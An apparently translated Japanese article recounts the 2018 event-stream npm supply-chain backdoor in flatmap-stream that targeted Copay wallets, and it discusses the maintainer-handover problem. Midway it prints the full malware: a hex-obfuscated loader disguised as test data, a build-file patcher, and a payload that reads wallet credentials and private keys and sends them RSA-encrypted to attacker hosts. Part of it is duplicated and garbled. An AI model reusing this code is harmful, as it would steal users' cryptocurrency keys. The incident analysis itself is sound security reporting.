EventStreamライブラリの依存関係の1つにあるバックドア





EventStreamライブラリの190万を超えるコピーがNPMリポジトリから毎週ダウンロードされます。 Node.JSでストリームを簡単かつ便利に処理するために、多くの大規模プロジェクトで使用されます 。 とりわけ、このライブラリは、人気のあるCopay暗号ウォレットでストリームを処理します(詳細は後述)。



2018年11月21日、奇妙なことが起こりました。 GitHubユーザー@FallingSnowは、イベントストリームの依存関係の1つに悪意のあるコードが隠さていることを報告しました。これは実際には未知の機能のバックドアです。



ユーザーは、この悪質なコードがどこから来たのかを把握し始めました。 これは非常に興味深く、有益な話です。 残念ながら、多くのオープンソースプロジェクトにとって長期的な結果をもたらす可能性があります。



そのため、調査が開始されました。 GitHubのコミット履歴のおかげで、悪意のあるユーザーが別のユーザー@ right9ctrlによって作成されたことがすぐに明らかになりました。このユーザーは、イベントストリームのメンテナーの権利を与えられました 。 彼は自分のアカウントで多くの通常のコミットを行っており、プロジェクト作成者のDominic Carr( @dominictarr )は彼にメンテナーの権利を譲渡しました。



著者がメンテナーの権利を完全に見知らぬ人に譲渡したのはなぜですか? ドミニク自身は、彼がプロジェクトに従事する負担であると言います。 この事件の詳細な弁解を参照してください。著者は、一般的に喜びのためにプロジェクトを作成し、そのサポートにそれほど時間がかかるとは思わなかったと書いており、図書館自体は非常に多くの深刻なプログラムに関与しました。 彼はこの事件の責任を免れませんが、オープンソースプロジェクトは彼の「財産」ではなく、パブリックドメインであるため、他の誰もが何が起こったかについて責任があると言います。 結局のところ、普通の人がメンテナーの権利を引き継いでコミットを監査しなかったのはなぜですか?



前述の@ right9ctrlコミットに戻ります。 Theは、バックドアコードをevent-stream



ライブラリに直接注入せず、別のフラットマップストリームパッケージへの依存性のみを注入したことです。 すでにその中に、テストデータセット(test / data.js)を装って、変数の1つで次のコンテンツの悪意のあるコードが送信されました。



バックドア
 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; // npm_package_description = process['env']['npm_package_description']; npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key) // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1])
      
      





変数n



「デコード」 すると n



画像がより鮮明になります。



初期起動
 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
      
      





第二段階
 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
      
      



\\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();





難読化解除後、バックドアの機能が明らかになりました 。 システムにCopay暗号ウォレットがある場合にのみ正常に動作することが判明しました( copay-dash



パッケージ)。 この場合、ユーザーのプライベートウォレットをコピーし、マレーシアのIPアドレスに送信します。



Copay開発者は調査を行い、バックドアが5.0.2から5.1.0のウォレットバージョン、つまり最新バージョンに依存しいることを発見しました 。 2018年11月27日に、彼らはすぐに更新されたバージョン5.2.0をリリースしました。



攻撃者@ right9ctrlはバックドアを追加しただけでなく、自分のトラックを隠そうとしました。 3日後、彼はflatmap-stream



リポジトリから悪意のあるコードを削除し、バージョン番号を更新し、NPMから古いコードを削除しました。 したがって、このパッケージの最新バージョンにはバックドアはありませんが、すでに数万台の車を販売しており、これが目標でした。 この方法は、バックドアがすぐに発見されなかったという事実から判断して、非常に成功しました。



攻撃者がいくら稼いだか正確には不明ですが、この攻撃はバックドアをオープンソースプロジェクトに導入する方法の基本的な有効性を示しています。 明らかに、これはそのような最後のケースではありません。 これは、影響を受けるEventStreamライブラリの作成者であるDominic Carr によって記述されています。「依存ツリーには他の多くのモジュールが存在する可能性があり、現在は作成者の負担になります」-これらの「面倒な」モジュールは、このように他のメンテナーに転送できますケース、またはお金のために販売されています。 依存関係は何百、何千ものプログラムに埋め込まれているため、最小のモジュールのいくつかは大きな問題の原因になります。



プログラムの作者がそれを完全に見知らぬ人に制御権を譲渡するのはなぜですか?



「これがもはや面白くない場合、人気のあるパッケージをサポートしても文字通り何も得られません」とドミニク・カーは言います。 -したがって、今、私たちは奇妙な谷にいます。あなたは興味を失った、または衰退し始めた人々によってサポートされている中毒の束を持ち、 彼ら自身はもはやそれらを使用しません 。 コードを簡単に共有できますが、このコードを維持する責任を誰も共有したいとは思いません。 「モジュールはデジタル資産の一部のように見えますが、譲渡する権利はありますが、それを所有することから利益を得ることはできません。たとえば、販売またはリースすることができますが、それでも責任は保持されます。」


フリーソフトウェアユーザーにとって、この状況から抜け出す方法は何ですか? 著者に報酬を支払うか、プロジェクトに積極的に参加してください、とカーは信じています。









All Articles